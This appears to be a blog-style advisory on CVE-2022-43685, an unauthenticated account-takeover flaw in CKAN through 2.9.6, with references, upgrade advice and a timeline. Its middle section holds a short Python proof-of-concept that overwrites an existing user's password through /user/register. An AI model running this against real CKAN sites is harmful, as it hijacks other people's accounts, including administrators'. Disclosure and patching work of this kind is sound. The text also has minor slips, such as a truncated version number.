CVE-2022-43685: CKAN Through 2.9.6 Account Takeovers by Unauthenticated Users - Exploit Details and Analysis

CVE-2022-43685 is a critical vulnerability identified in the CKAN (Comprehensive Knowledge Archive Network) data management platform. CKAN, an open-source data portal used by governments and organizations across the world, is prone to account takeovers by unauthenticated users when an existing user ID is sent via an HTTP POST request. This exploit allows a malicious user to take control of existing accounts, including administrator (super user) accounts, potentially granting access to sensitive data and resources. In this post, we will discuss the exploit details, provide a code snippet, and list the original references related to the vulnerability.

Vulnerability Details

The vulnerability stems from the way CKAN processes new's users' registration requests. When an unauthenticated user sends an HTTP POST request with an existing user ID, CKAN allows the unauthenticated user to overwrite the existing user's password, thereby giving them access to the user's account. This issue affects CKAN versions up to and including 2.9.6.

Exploit Code Snippet

The following Python code snippet demonstrates how a malicious user can exploit CVE-2022-43685 using the 'requests' library to send an HTTP POST request to CKAN's '/user/register' endpoint.

import requests

# target CKAN instance URL
target_url = 'https://target-ckan-instance.com';

# existing user ID whose account will be taken over
existing_user_id = 'example-user'

# new password for the existing user
new_password = 'new-password'

# make the HTTP POST request
response = requests.post(
    f'{target_url}/user/register',
    data={
        'id': existing_user_id,
        'password1': new_password,
        'password2': new_password,
    }
)

# check if the exploit is successful
if response.status_code == 200:
    print(f'Successfully took over the account of {existing_user_id}')
else:
    print('Failed to take over the account')

* Note: This code snippet is for educational purposes only. Do not use it for malicious activities.

Original References

1. CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2022-43685
2. CKAN Repository: https://github.com/ckan/ckan
3. CKAN Security Advisory: https://github.com/ckan/ckan/security/advisories/GHSA-rr2p-xrrh-5p9f

Mitigation and Recommendations

To mitigate the issue, developers maintaining CKAN installations should upgrade to the latest version (2.10.) that contains the fix for CVE-2022-43685. Additionally, CKAN administrators should regularly monitor the application logs for any suspicious activity and educate users about potential phishing attempts.

Conclusion

CVE-2022-43685 is a critical vulnerability that affects CKAN data management platforms up to and including version 2.9.6. Unauthenticated users can exploit this vulnerability by sending an HTTP POST request with an existing user ID to take over accounts, including superuser accounts.
As developers and administrators, it is essential to keep CKAN application updated and monitor for unusual activities to protect sensitive user data and resources.

Timeline

Published on: 11/22/2022 01:15:00 UTC
Last modified on: 11/23/2022 19:45:00 UTC